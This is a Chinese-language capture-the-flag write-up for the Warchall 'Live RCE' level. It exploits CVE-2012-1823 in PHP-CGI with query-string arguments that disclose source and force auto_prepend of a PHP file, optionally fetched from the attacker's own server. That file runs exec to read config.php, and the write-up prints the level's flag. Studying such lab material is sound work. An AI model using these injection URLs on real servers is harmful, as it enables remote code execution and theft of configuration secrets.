Warchall: Live RCE

具体漏洞是：CVE-2012-1823（PHP-CGI RCE）

在地址后面加进参数运行对应的php-cgi 参数的行为

例如 index.php?-s

相参于/usr/bin/php53-cgi/php-cgi -f index.php -s

php-cgi --help如下：

Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php-cgi <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script‘s directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value ‘bar‘
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q‘
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.

http://rce.warchall.net/?-s

看到index.php的源代码

基中有一个语句是：require ‘../config.php‘;

然后我们想办法读到这个文件

index.php 的绝对路径是：/home/level/20_live_rce/www/index.php../config.php 的绝对路径是：/home/level/20_live_rce/config.ph想办法输出config.php 的源代码。

php-cgi参数中：d foo[=bar]     Define INI entry foo with value ‘bar‘-dallow_url_include=Ondauto_prepend_file=/tmp/2.php在/tmp里建立一个2.php内容是：

<?php
exec("cat /home/level/20_live_rce/config.php",$out);
print_r($out);
?>

提交地址：（地址里，这个/tmp/2 可以换在自己的服务 http://xxx.xxx/1.txt）

http://rce.warchall.net/?-dallow_url_include=On+-dauto_prepend_file=/tmp/2.php+-n

URLencode一下是：

http://rce.warchall.net/?-dallow_url_include%3DOn+-dauto_prepend_file%3D%2ftmp%2f2.php+-n

得到 ../config.php的源代码：

Array ( [0] => define(‘ICANHAZRCE‘, ‘StrongGard_6_3‘);
[2] => return ICANHAZRCE;
[3] => ?> )